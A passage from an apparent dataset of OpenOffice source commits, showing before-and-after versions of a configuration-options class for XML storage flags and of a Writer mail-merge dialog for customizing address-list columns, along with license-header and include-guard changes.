\/\/ constructor \/ destructor\n \/\/---------------------------------------------------------------------------------------------------------\n\n SvtAddXMLToStorageOptions_Impl();\n\n \/\/---------------------------------------------------------------------------------------------------------\n \/\/ overloaded methods of baseclass\n \/\/---------------------------------------------------------------------------------------------------------\n\n \/\/---------------------------------------------------------------------------------------------------------\n \/\/ public interface\n \/\/---------------------------------------------------------------------------------------------------------\n\n \/*-****************************************************************************************************\/\/**\n @short access method to get internal values\n @descr These method give us a chance to regulate acces to ouer internal values.\n It's not used in the moment - but it's possible for the feature!\n\n @seealso -\n\n @param -\n @return -\n\n @onerror -\n *\/\/*-*****************************************************************************************************\/\n\n sal_Bool IsWriter_Add_XML_to_Storage() const { return bAddXmlToStg_Writer; }\n sal_Bool IsCalc_Add_XML_to_Storage() const { return bAddXmlToStg_Calc; }\n sal_Bool IsImpress_Add_XML_to_Storage() const { return bAddXmlToStg_Impress; }\n sal_Bool IsDraw_Add_XML_to_Storage() const { return bAddXmlToStg_Draw; }\n\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ private methods\n \/\/-------------------------------------------------------------------------------------------------------------\n\n private:\n\n \/*-****************************************************************************************************\/\/**\n @short return list of key names of ouer configuration management which represent oue module tree\n @descr These methods return a static const list of key names. We need it to get needed values from our\n configuration management.\n\n @seealso -\n\n @param -\n @return A list of needed configuration keys is returned.\n\n @onerror -\n *\/\/*-*****************************************************************************************************\/\n\n static Sequence< OUString > GetPropertyNames();\n\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ private member\n \/\/-------------------------------------------------------------------------------------------------------------\n\n private:\n\n sal_Bool bAddXmlToStg_Writer,\n bAddXmlToStg_Calc,\n bAddXmlToStg_Impress,\n bAddXmlToStg_Draw;\n};\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ definitions\n\/\/_________________________________________________________________________________________________________________\n\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions_Impl::SvtAddXMLToStorageOptions_Impl()\n \/\/ Init baseclasses first\n : ConfigItem( String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM(\n \"Office.Common\/AddXMLToStorage\"))),\n \/\/ Init member then.\n bAddXmlToStg_Writer( FALSE ),\n bAddXmlToStg_Calc( FALSE ),\n bAddXmlToStg_Impress( FALSE ),\n bAddXmlToStg_Draw( FALSE )\n{\n \/\/ Use our static list of configuration keys to get his values.\n Sequence< OUString > seqNames = GetPropertyNames();\n Sequence< Any > seqValues = GetProperties( seqNames );\n\n \/\/ Copy values from list in right order to ouer internal member.\n sal_Int32 nPropertyCount = seqValues.getLength();\n const Any* pValue = seqValues.getConstArray();\n for( sal_Int32 nProperty=0; nProperty<nPropertyCount; ++nProperty, ++pValue )\n if( pValue->hasValue() )\n\n switch( nProperty )\n {\n case 0:\n *pValue >>= bAddXmlToStg_Writer;\n break;\n case 1:\n *pValue >>= bAddXmlToStg_Calc;\n break;\n case 2:\n *pValue >>= bAddXmlToStg_Impress;\n break;\n case 3:\n *pValue >>= bAddXmlToStg_Draw;\n break;\n }\n}\n\n\/\/*****************************************************************************************************************\n\/\/ private method\n\/\/*****************************************************************************************************************\nSequence< OUString > SvtAddXMLToStorageOptions_Impl::GetPropertyNames()\n{\n \/\/ Build static list of configuration key names.\n static const sal_Char* pProperties[] =\n {\n \"Writer\",\n \"Calc\",\n \"Impress\",\n \"Draw\"\n };\n\n const sal_uInt16 nCnt = sizeof(pProperties) \/ sizeof( pProperties[0] );\n Sequence<OUString> aNames( nCnt );\n OUString* pNames = aNames.getArray();\n for( sal_uInt16 n = 0; n < nCnt; ++n )\n pNames[ n ] = OUString::createFromAscii( pProperties[ n ] );\n return aNames;\n}\n\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions::SvtAddXMLToStorageOptions()\n{\n \/\/ Global access, must be guarded (multithreading!).\n MutexGuard aGuard( GetOwnStaticMutex() );\n \/\/ Increase ouer refcount ...\n ++m_nRefCount;\n \/\/ ... and initialize ouer data container only if it not already exist!\n if( !m_pDataContainer )\n m_pDataContainer = new SvtAddXMLToStorageOptions_Impl;\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions::~SvtAddXMLToStorageOptions()\n{\n \/\/ Global access, must be guarded (multithreading!)\n MutexGuard aGuard( GetOwnStaticMutex() );\n \/\/ Decrease ouer refcount.\n \/\/ If last instance was deleted ...\n \/\/ we must destroy ouer static data container!\n if( !--m_nRefCount )\n delete m_pDataContainer, m_pDataContainer = 0;\n}\n\nsal_Bool SvtAddXMLToStorageOptions::IsWriter_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsWriter_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsCalc_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsCalc_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsImpress_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsImpress_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsDraw_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsDraw_Add_XML_to_Storage();\n}\n\n\/\/*****************************************************************************************************************\n\/\/ private method\n\/\/*****************************************************************************************************************\nMutex& SvtAddXMLToStorageOptions::GetOwnStaticMutex()\n{\n \/\/ Initialize static mutex only for one time!\n static Mutex* pMutex = NULL;\n \/\/ If these method first called (Mutex not already exist!) ...\n if( pMutex == NULL )\n {\n \/\/ ... we must create a new one. Protect follow code with the global mutex -\n \/\/ It must be - we create a static variable!\n MutexGuard aGuard( Mutex::getGlobalMutex() );\n \/\/ We must check our pointer again - because it can be that another instance of ouer class will be fastr then these!\n if( pMutex == NULL )\n {\n \/\/ Create the new mutex and set it for return on static variable.\n static Mutex aMutex;\n pMutex = &aMutex;\n }\n }\n \/\/ Return new created or already existing mutex object.\n return *pMutex;\n}\n<commit_msg>INTEGRATION: CWS ooo20040509 (1.1.584); FILE MERGED 2004\/05\/06 14:04:24 waratah 1.1.584.1: Bracket pragma not valid for gcc<commit_after>\/*************************************************************************\n *\n * $RCSfile: addxmltostorageoptions.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: rt $ $Date: 2004-06-16 10:06:01 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef GCC\n#pragma hdrstop\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ includes\n\/\/_________________________________________________________________________________________________________________\n\n#include \"addxmltostorageoptions.hxx\"\n\n#ifndef _UTL_CONFIGMGR_HXX_\n#include <unotools\/configmgr.hxx>\n#endif\n#ifndef _UTL_CONFIGITEM_HXX_\n#include <unotools\/configitem.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _TOOLS_STRING_HXX\n#include <tools\/string.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include <com\/sun\/star\/uno\/Any.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ namespaces\n\/\/_________________________________________________________________________________________________________________\n\nusing namespace ::utl;\nusing namespace ::rtl;\nusing namespace ::osl;\nusing namespace ::com::sun::star::uno;\n\n\/\/*****************************************************************************************************************\n\/\/ initialize static member\n\/\/ DON'T DO IT IN YOUR HEADER!\n\/\/ see definition for further informations\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions_Impl* SvtAddXMLToStorageOptions::m_pDataContainer = 0;\nsal_Int32 SvtAddXMLToStorageOptions::m_nRefCount = 0;\n\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ private declarations!\n\/\/_________________________________________________________________________________________________________________\n\nclass SvtAddXMLToStorageOptions_Impl : public ConfigItem\n{\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ public methods\n \/\/-------------------------------------------------------------------------------------------------------------\n\n public:\n\n \/\/---------------------------------------------------------------------------------------------------------\n \/\/ constructor \/ destructor\n \/\/---------------------------------------------------------------------------------------------------------\n\n SvtAddXMLToStorageOptions_Impl();\n\n \/\/---------------------------------------------------------------------------------------------------------\n \/\/ overloaded methods of baseclass\n \/\/---------------------------------------------------------------------------------------------------------\n\n \/\/---------------------------------------------------------------------------------------------------------\n \/\/ public interface\n \/\/---------------------------------------------------------------------------------------------------------\n\n \/*-****************************************************************************************************\/\/**\n @short access method to get internal values\n @descr These method give us a chance to regulate acces to ouer internal values.\n It's not used in the moment - but it's possible for the feature!\n\n @seealso -\n\n @param -\n @return -\n\n @onerror -\n *\/\/*-*****************************************************************************************************\/\n\n sal_Bool IsWriter_Add_XML_to_Storage() const { return bAddXmlToStg_Writer; }\n sal_Bool IsCalc_Add_XML_to_Storage() const { return bAddXmlToStg_Calc; }\n sal_Bool IsImpress_Add_XML_to_Storage() const { return bAddXmlToStg_Impress; }\n sal_Bool IsDraw_Add_XML_to_Storage() const { return bAddXmlToStg_Draw; }\n\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ private methods\n \/\/-------------------------------------------------------------------------------------------------------------\n\n private:\n\n \/*-****************************************************************************************************\/\/**\n @short return list of key names of ouer configuration management which represent oue module tree\n @descr These methods return a static const list of key names. We need it to get needed values from our\n configuration management.\n\n @seealso -\n\n @param -\n @return A list of needed configuration keys is returned.\n\n @onerror -\n *\/\/*-*****************************************************************************************************\/\n\n static Sequence< OUString > GetPropertyNames();\n\n \/\/-------------------------------------------------------------------------------------------------------------\n \/\/ private member\n \/\/-------------------------------------------------------------------------------------------------------------\n\n private:\n\n sal_Bool bAddXmlToStg_Writer,\n bAddXmlToStg_Calc,\n bAddXmlToStg_Impress,\n bAddXmlToStg_Draw;\n};\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ definitions\n\/\/_________________________________________________________________________________________________________________\n\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions_Impl::SvtAddXMLToStorageOptions_Impl()\n \/\/ Init baseclasses first\n : ConfigItem( String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM(\n \"Office.Common\/AddXMLToStorage\"))),\n \/\/ Init member then.\n bAddXmlToStg_Writer( FALSE ),\n bAddXmlToStg_Calc( FALSE ),\n bAddXmlToStg_Impress( FALSE ),\n bAddXmlToStg_Draw( FALSE )\n{\n \/\/ Use our static list of configuration keys to get his values.\n Sequence< OUString > seqNames = GetPropertyNames();\n Sequence< Any > seqValues = GetProperties( seqNames );\n\n \/\/ Copy values from list in right order to ouer internal member.\n sal_Int32 nPropertyCount = seqValues.getLength();\n const Any* pValue = seqValues.getConstArray();\n for( sal_Int32 nProperty=0; nProperty<nPropertyCount; ++nProperty, ++pValue )\n if( pValue->hasValue() )\n\n switch( nProperty )\n {\n case 0:\n *pValue >>= bAddXmlToStg_Writer;\n break;\n case 1:\n *pValue >>= bAddXmlToStg_Calc;\n break;\n case 2:\n *pValue >>= bAddXmlToStg_Impress;\n break;\n case 3:\n *pValue >>= bAddXmlToStg_Draw;\n break;\n }\n}\n\n\/\/*****************************************************************************************************************\n\/\/ private method\n\/\/*****************************************************************************************************************\nSequence< OUString > SvtAddXMLToStorageOptions_Impl::GetPropertyNames()\n{\n \/\/ Build static list of configuration key names.\n static const sal_Char* pProperties[] =\n {\n \"Writer\",\n \"Calc\",\n \"Impress\",\n \"Draw\"\n };\n\n const sal_uInt16 nCnt = sizeof(pProperties) \/ sizeof( pProperties[0] );\n Sequence<OUString> aNames( nCnt );\n OUString* pNames = aNames.getArray();\n for( sal_uInt16 n = 0; n < nCnt; ++n )\n pNames[ n ] = OUString::createFromAscii( pProperties[ n ] );\n return aNames;\n}\n\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions::SvtAddXMLToStorageOptions()\n{\n \/\/ Global access, must be guarded (multithreading!).\n MutexGuard aGuard( GetOwnStaticMutex() );\n \/\/ Increase ouer refcount ...\n ++m_nRefCount;\n \/\/ ... and initialize ouer data container only if it not already exist!\n if( !m_pDataContainer )\n m_pDataContainer = new SvtAddXMLToStorageOptions_Impl;\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nSvtAddXMLToStorageOptions::~SvtAddXMLToStorageOptions()\n{\n \/\/ Global access, must be guarded (multithreading!)\n MutexGuard aGuard( GetOwnStaticMutex() );\n \/\/ Decrease ouer refcount.\n \/\/ If last instance was deleted ...\n \/\/ we must destroy ouer static data container!\n if( !--m_nRefCount )\n delete m_pDataContainer, m_pDataContainer = 0;\n}\n\nsal_Bool SvtAddXMLToStorageOptions::IsWriter_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsWriter_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsCalc_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsCalc_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsImpress_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsImpress_Add_XML_to_Storage();\n}\nsal_Bool SvtAddXMLToStorageOptions::IsDraw_Add_XML_to_Storage() const\n{\n MutexGuard aGuard( GetOwnStaticMutex() );\n return m_pDataContainer->IsDraw_Add_XML_to_Storage();\n}\n\n\/\/*****************************************************************************************************************\n\/\/ private method\n\/\/*****************************************************************************************************************\nMutex& SvtAddXMLToStorageOptions::GetOwnStaticMutex()\n{\n \/\/ Initialize static mutex only for one time!\n static Mutex* pMutex = NULL;\n \/\/ If these method first called (Mutex not already exist!) ...\n if( pMutex == NULL )\n {\n \/\/ ... we must create a new one. Protect follow code with the global mutex -\n \/\/ It must be - we create a static variable!\n MutexGuard aGuard( Mutex::getGlobalMutex() );\n \/\/ We must check our pointer again - because it can be that another instance of ouer class will be fastr then these!\n if( pMutex == NULL )\n {\n \/\/ Create the new mutex and set it for return on static variable.\n static Mutex aMutex;\n pMutex = &aMutex;\n }\n }\n \/\/ Return new created or already existing mutex object.\n return *pMutex;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: customizeaddresslistdialog.cxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: hr $ $Date: 2007-09-27 11:30:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n#ifdef SW_DLLIMPLEMENTATION\n#undef SW_DLLIMPLEMENTATION\n#endif\n\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>\n#endif\n\n#ifndef _CUSTOMIZEADDRESSLISTDIALOG_HXX\n#include <customizeaddresslistdialog.hxx>\n#endif\n#ifndef _CREATEADDRESSLISTDIALOG_HXX\n#include <createaddresslistdialog.hxx>\n#endif\n#ifndef _SV_SCRBAR_HXX\n#include <vcl\/scrbar.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX\n#include <vcl\/msgbox.hxx>\n#endif\n#include <customizeaddresslistdialog.hrc>\n#include <dbui.hrc>\n#include <helpid.h>\n\n\n\n\/*-- 13.04.2004 14:27:21---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCustomizeAddressListDialog::SwCustomizeAddressListDialog(\n Window* pParent, const SwCSVData& rOldData) :\n SfxModalDialog(pParent, SW_RES(DLG_MM_CUSTOMIZE_ADDRESS_LIST)),\n#ifdef MSC\n#pragma warning (disable : 4355)\n#endif\n m_aFieldsFT( this, SW_RES( FT_FIELDS)),\n m_aFieldsLB( this, SW_RES( LB_FIELDS)),\n m_aAddPB( this, SW_RES( PB_ADD)),\n m_aDeletePB( this, SW_RES( PB_DELETE)),\n m_aRenamePB( this, SW_RES( PB_RENAME)),\n m_aUpPB( this, SW_RES( PB_UP)),\n m_aDownPB( this, SW_RES( PB_DOWN)),\n m_aSeparatorFL( this, SW_RES( FL_SEPARATOR)),\n m_aOK( this, SW_RES( PB_OK)),\n m_aCancel( this, SW_RES( PB_CANCEL)),\n m_aHelp( this, SW_RES( PB_HELP)),\n#ifdef MSC\n#pragma warning (default : 4355)\n#endif\n m_pNewData( new SwCSVData(rOldData))\n{\n FreeResource();\n m_aFieldsLB.SetSelectHdl(LINK(this, SwCustomizeAddressListDialog, ListBoxSelectHdl_Impl));\n Link aAddRenameLk = LINK(this, SwCustomizeAddressListDialog, AddRenameHdl_Impl );\n m_aAddPB.SetClickHdl(aAddRenameLk);\n m_aRenamePB.SetClickHdl(aAddRenameLk);\n m_aDeletePB.SetClickHdl(LINK(this, SwCustomizeAddressListDialog, DeleteHdl_Impl ));\n Link aUpDownLk = LINK(this, SwCustomizeAddressListDialog, UpDownHdl_Impl);\n m_aUpPB.SetClickHdl(aUpDownLk);\n m_aDownPB.SetClickHdl(aUpDownLk);\n\n ::std::vector< ::rtl::OUString >::iterator aHeaderIter;\n\n for(aHeaderIter = m_pNewData->aDBColumnHeaders.begin();\n aHeaderIter != m_pNewData->aDBColumnHeaders.end(); ++aHeaderIter)\n m_aFieldsLB.InsertEntry(*aHeaderIter);\n\n m_aFieldsLB.SelectEntryPos(0);\n UpdateButtons();\n}\n\/*-- 13.04.2004 14:34:07---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCustomizeAddressListDialog::~SwCustomizeAddressListDialog()\n{\n}\n\n\/*-- 12.08.2004 12:58:00---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, ListBoxSelectHdl_Impl, ListBox*, EMPTYARG)\n{\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:14---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, AddRenameHdl_Impl, PushButton*, pButton)\n{\n bool bRename = pButton == &m_aRenamePB;\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n if(nPos == LISTBOX_ENTRY_NOTFOUND)\n nPos = 0;\n\n SwAddRenameEntryDialog* pDlg =\n new SwAddRenameEntryDialog(pButton, bRename, m_pNewData->aDBColumnHeaders);\n if(bRename)\n {\n String aTemp = m_aFieldsLB.GetEntry(nPos);\n pDlg->SetFieldName(aTemp);\n }\n if(RET_OK == pDlg->Execute())\n {\n String sNew = pDlg->GetFieldName();\n if(bRename)\n {\n m_pNewData->aDBColumnHeaders[nPos] = sNew;\n m_aFieldsLB.RemoveEntry(nPos);\n }\n else\n {\n if ( m_aFieldsLB.GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n ++nPos; \/\/ append the new entry behind the selected\n \/\/add the new column\n m_pNewData->aDBColumnHeaders.insert(m_pNewData->aDBColumnHeaders.begin() + nPos, sNew);\n \/\/add a new entry into all data arrays\n String sTemp;\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n aDataIter->insert(aDataIter->begin() + nPos, sTemp);\n\n }\n\n m_aFieldsLB.InsertEntry(sNew, nPos);\n m_aFieldsLB.SelectEntryPos(nPos);\n }\n delete pDlg;\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:14---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, DeleteHdl_Impl, PushButton*, EMPTYARG)\n{\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n m_aFieldsLB.RemoveEntry(m_aFieldsLB.GetSelectEntryPos());\n m_aFieldsLB.SelectEntryPos(nPos > m_aFieldsLB.GetEntryCount() - 1 ? nPos - 1 : nPos);\n\n \/\/remove the column\n m_pNewData->aDBColumnHeaders.erase(m_pNewData->aDBColumnHeaders.begin() + nPos);\n \/\/remove the data\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n aDataIter->erase(aDataIter->begin() + nPos);\n\n UpdateButtons();\n return 0;\n}\n\/*-- 13.04.2004 15:02:15---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwCustomizeAddressListDialog, UpDownHdl_Impl, PushButton*, pButton)\n{\n USHORT nPos;\n USHORT nOldPos = nPos = m_aFieldsLB.GetSelectEntryPos();\n String aTemp = m_aFieldsLB.GetEntry(nPos);\n m_aFieldsLB.RemoveEntry( nPos );\n if(pButton == &m_aUpPB)\n --nPos;\n else\n ++nPos;\n m_aFieldsLB.InsertEntry(aTemp, nPos);\n m_aFieldsLB.SelectEntryPos(nPos);\n \/\/align m_pNewData\n ::rtl::OUString sHeader = m_pNewData->aDBColumnHeaders[nOldPos];\n m_pNewData->aDBColumnHeaders.erase(m_pNewData->aDBColumnHeaders.begin() + nOldPos);\n m_pNewData->aDBColumnHeaders.insert(m_pNewData->aDBColumnHeaders.begin() + nPos, sHeader);\n ::std::vector< ::std::vector< ::rtl::OUString > >::iterator aDataIter;\n for( aDataIter = m_pNewData->aDBData.begin(); aDataIter != m_pNewData->aDBData.end(); ++aDataIter)\n {\n ::rtl::OUString sData = (*aDataIter)[nOldPos];\n aDataIter->erase(aDataIter->begin() + nOldPos);\n aDataIter->insert(aDataIter->begin() + nPos, sData);\n }\n\n UpdateButtons();\n return 0;\n}\n\/*-- 19.04.2004 14:51:49---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nvoid SwCustomizeAddressListDialog::UpdateButtons()\n{\n USHORT nPos = m_aFieldsLB.GetSelectEntryPos();\n USHORT nEntries = m_aFieldsLB.GetEntryCount();\n m_aUpPB.Enable(nPos > 0 && nEntries > 0);\n m_aDownPB.Enable(nPos < nEntries -1);\n m_aDeletePB.Enable(nEntries > 0);\n m_aRenamePB.Enable(nEntries > 0);\n}\n\/*-- 19.04.2004 14:51:49---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCSVData* SwCustomizeAddressListDialog::GetNewData()\n{\n return m_pNewData;\n}\n\n\/*-- 13.04.2004 13:48:41---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwAddRenameEntryDialog::SwAddRenameEntryDialog(\n Window* pParent, bool bRename, const ::std::vector< ::rtl::OUString >& rCSVHeader) :\n SfxModalDialog(pParent, SW_RES(DLG_MM_ADD_RENAME_ENTRY)),\n#ifdef MSC\n#pragma warning (disable : 4355)\n#endif\n m_aFieldNameFT( this, SW_RES( FT_FIELDNAME)),\n m_aFieldNameED( this, SW_RES( ED_FIELDNAME)),\n m_aOK( this, SW_RES( PB_OK)),\n m_aCancel( this, SW_RES( PB_CANCEL)),\n m_aHelp( this, SW_RES( PB_HELP)),\n#ifdef MSC\n#pragma warning (default : 4355)\n#endif\n m_rCSVHeader(rCSVHeader)\n{\n if(bRename)\n SetText(String(SW_RES(ST_RENAME_TITLE)));\n else\n m_aOK.SetText(String(SW_RES(ST_ADD_BUTTON)));\n FreeResource();\n m_aFieldNameED.SetModifyHdl(LINK(this, SwAddRenameEntryDialog, ModifyHdl_Impl));\n ModifyHdl_Impl( &m_aFieldNameED );\n}\n\/*-- 13.04.2004 13:48:41---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwAddRenameEntryDialog::~SwAddRenameEntryDialog()\n{\n}\n\/*-- 19.04.2004 15:31:34---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nIMPL_LINK(SwAddRenameEntryDialog, ModifyHdl_Impl, Edit*, pEdit)\n{\n ::rtl::OUString sEntry = pEdit->GetText();\n BOOL bFound = sEntry.getLength() ? FALSE : TRUE;\n\n if(!bFound)\n {\n ::std::vector< ::rtl::OUString >::const_iterator aHeaderIter;\n for(aHeaderIter = m_rCSVHeader.begin();\n aHeaderIter != m_rCSVHeader.end();\n ++aHeaderIter)\n if(*aHeaderIter == sEntry)\n {\n bFound = TRUE;\n break;\n }\n }\n m_aOK.Enable(!bFound);\n return 0;\n}\n<commit_msg>INTEGRATION: CWS changefileheader (1.9.242); FILE MERGED 2008\/04\/01 15:58:32 thb 1.9.242.3: #i85898# Stripping all external header guards 2008\/04\/01 12:55:06 thb 1.9.242.2: #i85898# Stripping all external header guards 2008\/03\/31 16:57:00 rt 1.9.242.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: customizeaddresslistdialog.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n#ifdef SW_DLLIMPLEMENTATION\n#undef SW_DLLIMPLEMENTATION\n#endif\n#include <swtypes.hxx>\n#include <customizeaddresslistdialog.hxx>\n#include <createaddresslistdialog.hxx>\n#include <vcl\/scrbar.hxx>\n#include <vcl\/msgbox.hxx>\n#include <customizeaddresslistdialog.hrc>\n#include <dbui.hrc>\n#include <helpid.h>\n\n\n\n\/*-- 13.04.2004 14:27:21---------------------------------------------------\n\n -----------------------------------------------------------------------*\/\nSwCustomizeAddressListDialog::SwCustomizeAddressListDialog(\n Window* pParent, const SwCSVData& rOldData) :\n SfxModalDialog(pParent, SW_RES(DLG_MM_CUSTOMIZE_ADDRESS_LIST)),\n#ifdef MSC\n#pragma warning (disable : 4355)\n#endif\n m_aFieldsFT( this, SW_RES( FT_FIELDS)),\n m_aFieldsLB( this, SW_RES( LB_FIELDS)),\n m_aAddPB( this, SW_RES( PB_ADD)),\n m_aDeletePB( this, SW_RES( PB_DELETE)),\n m_aRenamePB( this, SW_RES( PB_RENAME)),\n m_aUpPB( this, SW_RES( PB_UP)),\n m_aDownPB( this, SW_RES( PB_DOWN)),\n m_aSeparatorFL( this, SW_RES( 